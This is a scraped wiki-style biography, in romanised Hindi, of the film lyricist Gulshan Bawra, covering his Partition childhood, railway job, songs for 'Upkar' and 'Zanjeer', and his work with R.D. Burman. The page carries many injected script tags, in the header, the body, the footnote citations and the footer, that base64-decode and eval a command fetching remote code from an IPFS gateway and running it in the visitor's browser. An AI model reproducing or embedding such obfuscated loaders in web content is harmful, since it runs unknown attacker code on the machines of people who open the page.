गुलशन बावरा

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
gulashan bavara
poora nam gulashan kumar mehata
prasiddh nam gulashan bavara
janm 12 aprail, 1937
janm bhoomi shekhapura, avibhajit panjab[1]
mrityu 7 agast, 2009
mrityu sthan mumbee, maharashtr
karm bhoomi bharat
mukhy filmean 'satta bazar', 'janjir', 'upakar', 'parivar', 'kasme vade', 'satte pe satta', 'agar tum n hote', 'hath ki saphaee', 'sanam teri kasam', 'hakikat', 'ye vada raha' adi.
puraskar-upadhi 'filmafeyar puraskar' (1967)
prasiddhi hindi film gitakar.
nagarikata bharatiy
sanbandhit lekh rahul dev barman, kalyanaji anandaji, manoj kumar, kishor kumar.
any janakari rahul dev barman gulashan bavara ke p dosi the. rahul ji ke sath unaki kee yadean ju di huee thian. in yadoan ko gulashan bavara ne 'anatold storij' nam ki ek sidi mean sanjoya tha. isamean unhoanne pancham da ki avaz rikard ki thi aur kuchh gitoan ke sath ju de kisse-kahaniyaan bhi prastut kiye the.
adyatan‎
15:05, 31 march 2017 (IST)
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gulashan bavara (aangrezi: Gulshan Bawra, janm- 12 aprail, 1937, avibhajit panjab; mrityu- 7 agast, 2009, maharashtr) hindi filmoan ke prasiddh gitakar the. unaka mool nam gulashan kumar mehata tha. unhean 'bavara' ka upanam film vitarak shaantibhaee patel ne diya tha. bad mean yah nam itana prasiddh hua ki poora film udyog unhean isi nam se pukarane laga. apani sahityik soch ke karan hi gulashan bavara film sangit se ju de the. ve pahale relave mean karyarat the, lekin unaki kalpana ki u dan ne unhean film udyog ke asaman par sthapit kar diya, jahaan unaka yogadan dhruv tare ke saman atal aur avismarniy hai.

parichay

hindi sinema ke prasiddh gitakar gulashan bavara ka janm 12 aprail, san 1937 ko avibhajit bharat ke panjab mean shekhapura (ab pakistan mean) namak qasve mean hua tha. lahaur se karib tis ki.mi. door shekhapura qasbe mean janme gulashan bavara ne bachapan mean hi vibhajan ke dauran relaga di se bharat ate vakt apane pita ko talavar se katate aur maan ko sir par goli lagate dekha tha. bhaee ke sath bhagakar ve jayapur a ge, jahaan unaki bahan ne unaki paravarish ki. yahaan par ye tathy ullekhaniy hai ki is bhayavah trasadi ki yantrana ko jhelane vale gulashan bavara ne ise apani jiandagi, apane vyaktitv aur apane likhe gitoan par kabhi havi nahian hone diya. bad mean bhaee ko dilli mean naukari milane ki vazah se ve dilli chale ge. san 1955 mean relave mean klark ki naukari milane par gulashan ji muanbee chale ae. likhane ka shauk unako bachapan se hi tha. bachapan mean maan ke sath bhajan mandali mean shirakat karane ki vazah se bhajan likhane se unake lekhan ka saphar shuroo hua tha, jo k aaulej ke dinoan mean ate-ate ashanuroop rumani kavitaoan mean badal gaya. isilie muanbee mean naukari karate vaqt phursat milate hi unhoanne sangitakar jo di kalyanaji-anandaji ke daftar ke chakkar lagane nahian chho de. gulashan bavara ko pahali saphalata isi jo di ke sangit-nirdeshan mean raviandr dave ki film "satta bazar" (1957) mean mili, jab unaka likha nimn git behad lokapriy hua[2]-

"tumhean yad hoga kabhi ham mile the, mohabbat ki rahoan mean mil kar chale the,
bhula do mohabbat mean ham tum mile the, sapana hi samajho ki mil kar chale the.

'bavara' namakaran

film 'satta bazar' ke nirman ke dauran gulashan ji ko unaka nam 'bavara' mila tha. film ke vitarak shaantibhaee patel unake kam se khase khush the. rang-birangi shart pahanane vale lagabhag 20 sal ke yuvak ko dekhakar unhoanne kaha tha ki- "maian isaka nam gulashan bavara rakhooanga. yah bavare (pagal vyakti) jaisa dikhata hai." film pradarshit hone par usake postars mean sirf tin logoan ke nam pramukhata se pradarshit kie ge the. ek film ke nirdeshak raviandr dave, sangitakar kalyanaji-anandaji aur bataur gitakar gulashan bavara.[3]

prasiddhi

isake bad ke agami kuchh sal gulashan ji ke lie mashakkat vale rahe aur in saloan mean ve kee filmoan mean abhinay kar apana gujara chalate rahe. unake jis git ne poore bharat mean unake nam ka sikka jama diya, usake lie sara shrey unaki guds klark ki naukari ko dena uchit jan p data hai. darasal relave ke malavahak vibhag mean gulashan bavara aksar panjab se aee gehooan se ladi boriyaan dekha karate the aur vahian unake man kabhi n bhulaee ja sakane vali ve panktiyaan ban p dian jo hindi sinema ke itihas mean amar ho geean. mere desh ki dharati sona ugale, ugale hire-moti, mere desh ki dharati. jab unhoanne apane mitr manoj kumar ko ye panktiyaan sunaeean to usi samay manoj ji ne ise apani film 'upakar' ke lie chun liya. is git ne hi unhean san 1967 mean sarvashreshth git ka 'filmapheyar puraskar' dila gaya.[2] kahate haian ki gulashan bavara ne yah git raj kapoor ki philh‍m 'jis desh mean ganga bahati hai' ke lie likha tha. yah git raj kapoor ko pasand bhi aya tha, lekin tab tak ve shaileandr ke git "hoanthoan pe sachh‍chaee rahati hai, jahaan dil mean saphaee rahati hai" ko phainal kar chuke the. akhirakar manoj kumar ne 'upakar' mean isaka prabhavashali upayog kiya.

sahi maene mean film 'upakar' ke is git ne gulashan bavara ko bharat ki janata se jo d diya. sattar ki shuruat mean sabase pahale 1974 mean film 'hath ki saphaee' mean lata mangeshakar dvara gae unake git "too kya jane bevafa.." aur "vada kar le sajana..." behad lokapriy rahe. phir 1975 mean aee film 'janjir' mean unake gitoan- "divane haian divanoan ko na ghar chahie..." aur "yari hai eeman mera yar meri zidagi...." ne poore desh mean dhoom macha di. in donoan hi filmoan ka sangit kalyanaji-anandaji ne diya tha.

sabhi prakar ki git rachana

gulashan bavara ne jivan ke har rang ke gitoan ko alphaj die. unake likhe gitoan mean 'dosti, romaans, masti, gam' adi vibhinn pahaloo dekhane ko milate haian. 'janjir' film ka git 'yari hai eeman mera yar meri zindagi' dosti ki dastan bayaan karata hai, to 'duggi pe duggi ho ya satte pe satta' git masti ke alam mean dooba hua hai. unhoanne biandas pyar karane vale jabaan diloan ke lie bhi 'khullm khulla pyar kareange', 'kasamean vade nibhaeange ham', adi git likhe. unake pas har mauke ke lie git tha. pakistan se akar base bavara ji ne apane filmi kairiyar ki tulana mean yooan to kam git likhe, lekin unake dvara likhe sade v arthapoorn gitoan ko hamesha pasand kiya gaya. unhoanne sangitakar kalyanaji-anandaji ke sangit nirdeshan mean 69 git likhe aur ar. di. barman ke sath 150 git likhe. pancham da gulashan bavara ji ke p dosi the. pancham da ke sath unaki kee yadean ju di huee thian. in yadoan ko gulashan bavara ne 'anatold storij' nam ki ek sidi mean sanjoya tha. isamean unhoanne pancham da ki avaz rikard ki thi aur kuchh gitoan ke sath ju de kisse-kahaniyaan bhi prastut kiye the.[4]

pramukh filmean tatha git

gulashan bavara ne apani sakriyata ke nirantar samay mean lagatar lokapriy git likhe. kalyanaji-anandaji se unaki tyooniang khoob jamati rahi. lagabhag sattar se bhi jyada gane unhoanne unake lie likhe. bad mean unaka ju dav rahul dev barman se bhi hua. ek bar gulashan unaki tim mean kya aye, gahare mitr ban gaye. rahul dev barman ko gulashan sahit unake tamam dost pancham kahakar bulaya karate the. is tim ne bhi anek saphal aur lokapriy philmoan mean madhur aur avismaraniy gitoan ki rachana ki. ek sau pachas se jyada gane gulashan aur pancham ki jo di ki upalabdhi hai. jin philmoan ke lie gulashan bavara ne git likhe unamean 'satta bazar', 'raj', 'janjir', 'upakar', 'vishvas', 'parivar', 'kasme vade', 'satte pe satta', 'agar tum n hote', 'hath ki saphaee', 'pukar', 'sanam teri kasam', 'hakikat', 'ye vada raha', 'jhootha kahian ka', 'julmi' adi pramukh haian. gulashan bavara ne pancham da ke sath unaki philm 'pukar' aur 'satte pe satta' mean ganoan mean bhi sur milae.

gulashan ji ke prasiddh gitoan mean shamil haian-

  1. tumako mere dil ne pukara hai
  2. kisi pe dil agar a jae to kya hota hai
  3. sanam teri kasam
  4. ati raheangi baharean
  5. yari hai eeman mera yar meri ziandagi
  6. mere desh ki dharati sona ugale, ugale hire-moti
  7. hamean aur jine ki chahat n hoti, agar tum n hote
  8. too to hai vahi
  9. kasame vade nibhaeange ham
  10. vada kar le sajana
  11. pine valoan ko pine ka bahana chahie
  12. divane haian divanoan ko n ghar chahie
  13. pyar hamean kis mo d pe le aya
  14. kitane bhi too kar le sitam

vyaktitv

gulashan bavara dikhane mean dubale-patale sharir ke the. unaka vyaktitv hansamukh tha, haanlaki bachapan mean vibhajan ke samay unhoanne jo trasadi jheli thi vah avismarniy hai, lekin unake vyaktitv mean usaki chhap kahian dikhaee nahian deti thi. ve kavi se jyada k aaumediyan dikhaee dete the. is gun ke karan kee nirmataoan ne unase apani filmoan mean chhoti-chhoti bhoomikaean bhi abhinit karavayian. vibhajan ka dard unhoanne kabhi jahir nahian hone diya. rahul dev barman unake karibi mitr the. rahul ji ke sangit kaksh mean pray: sabhi mitroan ki baithak hoti thi aur khoob thahake lagaye jate the. gulashan bavara us sarkas ke sthayi 'jokar' the. yahian se unaki mitrata kishor kumar se huee. phir kya tha ab to donoan log milakar hasy ki nee-nee stithiyaan gadhate the. gulashan bavara ko unake aantim dinoan mean jab 'kishor kumar' samman ke lie chuna gaya to unake chahare par adbhud santosh ke bhav ubharate dikhaee die. unake lie yah ek bahut hi mahatvapoorn kshan tha. ek taraf yah puraskar unake lie vibhajan ki trasadi se lekar jivan paryant kiye ge sangharsh ka inam tha, doosari or apane purane mitr ki smriti mean milane vala puraskar ek anamol tohaphe se kam nahian tha.

mrityu

sara jivan gulashan kumar chust-durust rahe. koee bimari n huee. subah-sham ghoomane ka khoob shauk tha. rat ko samay par khana khakar so jate the. unaki patni aanjoo unaka b da khyal bhi rakhati thian. kaiansar jaisi bimari unako bamushkil chhah mah pahale huee aur dekhate hi dekhate is bimari ne unake jivan ko achanak aisa sankshipt kar diya ki ve subah achanak chale gaye. 7 agast, 2009 ko bimari ke chalate unaka dehaant ho gaya. unaki ichchhanusar unake parthiv sharir ko je. je. aspatal ko dan kar diya gaya. hindi sinema hi nahian hindi sahity bhi gulashan bavara ji ke adbhud yogadan ko kabhi nahian bhool payega.

gulashan bavara ne ek sakshatkar mean kaha tha- "maian gane likh-likhakar rakhata tha. phir kahani sunane ke bad sichueshan ke anusar gitoan ka chayan karata tha. kahani ke sath chalana zaroori hai tabhi gane hit hote haian. aj kise phursat hai kahani sunane ki? aur kahani hai kahaan? videshi filmoan ki nakal ya do-char filmoan ka mishran. kahani aur vijan donoan hi gayab haian filmoan se." gulashan ji aj ke git-sangit se bhi vichalit the. ve kaha karate the- "gitoan mean bhavana nahian hai aur sangit mean atma. pahale shrotaoan ko dhyan mean rakhakar rachana banati thi. ajakal darshakoan ko jehan mean rakha jata hai. us jamane mean git-sangit aur drishyoan ka umda talamel hota tha. ajakal matr drishyoan ko prabhavi banaya jata hai. panjabi film 'punno' mean bataur nayak abhinay kar chuke gulashan filmoan mean aur adhik lekhan karana chahate the, kintu is shart par ki dayarektar aur film achchhi ho. aantim vakt mean unaki pi da thi- "ab hamean poochhane vala kaun hai? jo pratishtha aur samman maianne purane gitoan ko rachakar hasil kiya tha, kya vah aj chal rahe saste git aur ghatiya dhunoan ke sath barakarar rakha ja sakata hai?" lekhan se unaka rishta ajivan ju da raha. chahe filmoan ke lie nahian, apane rachanakar man ke lie hi sahi. nee filmoan par unaki talkh tippani ki "meri bardasht se bahar haian nee filmean" sochane ko vivash karati haian.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. ↑ ab pakistan mean
  2. ↑ 2.0 2.1 ek sham mere nam (hindi) ek-shaam-mere-naam.in. abhigaman tithi: 31 march, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. ↑ isalie nam p da gulashan bavara (hindi) vebaduniya.com. abhigaman tithi: 31 march, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  4. ↑ yadean gitakar gulashan bavara ki (hindi) podcast.hindyugm.com. abhigaman tithi: 31 march, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

dekhean • varta • badalean
gitakar

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

Retrieved from "https://en.bharatdiscovery.org/w/index.php?title=गुलशन_बावरा&oldid=656595"